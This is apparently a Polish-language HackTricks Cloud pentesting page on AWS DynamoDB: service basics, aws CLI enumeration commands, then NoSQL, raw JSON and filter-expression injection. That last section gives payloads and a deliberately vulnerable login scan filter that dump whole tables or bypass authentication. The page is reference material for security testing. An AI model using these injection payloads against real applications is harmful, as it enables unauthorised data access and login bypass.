AWS - DynamoDB Enum
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
DynamoDB
Podstawowe informacje
Amazon DynamoDB jest przedstawiany przez AWS jako w pełni zarządzana, bezserwerowa, klucz-wartość baza danych NoSQL, dostosowana do zasilania aplikacji o wysokiej wydajności, niezależnie od ich rozmiaru. Usługa zapewnia solidne funkcje, w tym wbudowane środki bezpieczeństwa, nieprzerwane kopie zapasowe, automatyczną replikację w wielu regionach, zintegrowane pamięci podręczne w pamięci oraz wygodne narzędzia do eksportu danych.
W kontekście DynamoDB, zamiast zakładać tradycyjną bazę danych, tworzone są tabele. Każda tabela wymaga określenia klucza partycji jako integralnego elementu klucza głównego tabeli. Ten klucz partycji, zasadniczo wartość haszująca, odgrywa kluczową rolę zarówno w pobieraniu elementów, jak i w dystrybucji danych w różnych hostach. Ta dystrybucja jest kluczowa dla utrzymania zarówno skalowalności, jak i dostępności bazy danych. Dodatkowo istnieje możliwość dodania klucza sortującego, aby jeszcze bardziej udoskonalić organizację danych.
Szyfrowanie
Domyślnie, DynamoDB używa klucza KMS, który należy do Amazon DynamoDB, a nie nawet do zarządzanego klucza AWS, który przynajmniej należy do twojego konta.
Kopie zapasowe i eksport do S3
Możliwe jest zaplanowanie generowania kopii zapasowych tabeli lub tworzenie ich na żądanie. Ponadto możliwe jest również włączenie odzyskiwania w czasie rzeczywistym (PITR) dla tabeli. Odzyskiwanie w czasie rzeczywistym zapewnia ciągłe kopie zapasowe danych DynamoDB przez 35 dni, aby pomóc w ochronie przed przypadkowymi operacjami zapisu lub usunięcia.
Możliwe jest również eksportowanie danych tabeli do S3, ale tabela musi mieć włączone PITR.
GUI
Istnieje GUI dla lokalnych usług Dynamo, takich jak DynamoDB Local, dynalite, localstack itd., które mogą być przydatne: https://github.com/aaronshaf/dynamodb-admin
Enumeracja
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
Nieautoryzowany dostęp
AWS - DynamoDB Unauthenticated Access
Privesc
Post Exploitation
AWS - DynamoDB Post Exploitation
Utrzymywanie
Wstrzykiwanie do DynamoDB
Wstrzykiwanie SQL
Istnieją sposoby na dostęp do danych DynamoDB za pomocą składni SQL, dlatego typowe wstrzykiwania SQL są również możliwe.
Wstrzykiwanie NoSQL
W DynamoDB różne warunki mogą być używane do pobierania danych, jak w typowym wstrzykiwaniu NoSQL, jeśli możliwe jest łączenie więcej warunków w celu pobrania danych, można uzyskać ukryte dane (lub zrzucić całą tabelę).
Można tutaj znaleźć warunki obsługiwane przez DynamoDB: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
Zauważ, że różne warunki są obsługiwane, jeśli dane są uzyskiwane za pomocą query lub za pomocą scan.
Note
W rzeczywistości, akcje Query muszą określić warunek “EQ” (równa się) w kluczu głównym, aby działały, co czyni je znacznie mniej podatnymi na wstrzykiwania NoSQL (a także ogranicza operację).
Jeśli możesz zmienić porównanie wykonywane lub dodać nowe, możesz pobrać więcej danych.
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
Surowa injekcja Json
[!OSTRZEŻENIE] Ta podatność opiera się na filtrze skanowania dynamodb, który jest teraz przestarzały!
DynamoDB akceptuje obiekty Json do wyszukiwania danych w bazie. Jeśli odkryjesz, że możesz pisać w obiekcie json wysyłanym do wyszukiwania, możesz wykonać zrzut bazy danych, zawierający wszystkie treści.
Na przykład, wstrzykując w żądaniu takim jak:
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
atakujący mógłby wstrzyknąć coś takiego:
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
naprawić warunek “EQ” szukając ID 1000, a następnie szukając wszystkich danych z ciągiem Id większym niż 0, co obejmuje wszystko.
Inny wrażliwy przykład używający logowania mógłby być:
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
To może być podatne na:
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
Niektóre SDK umożliwiają użycie ciągu wskazującego filtrację, która ma być przeprowadzona, jak:
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
Musisz wiedzieć, że wyszukiwanie w DynamoDB w celu zastąpienia wartości atrybutu w wyrażeniach filtrujących podczas skanowania elementów, tokeny powinny zaczynać się od znaku :. Takie tokeny będą zastępowane rzeczywistą wartością atrybutu w czasie wykonywania.
Dlatego logowanie, jak to poprzednie, można obejść za pomocą czegoś takiego:
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

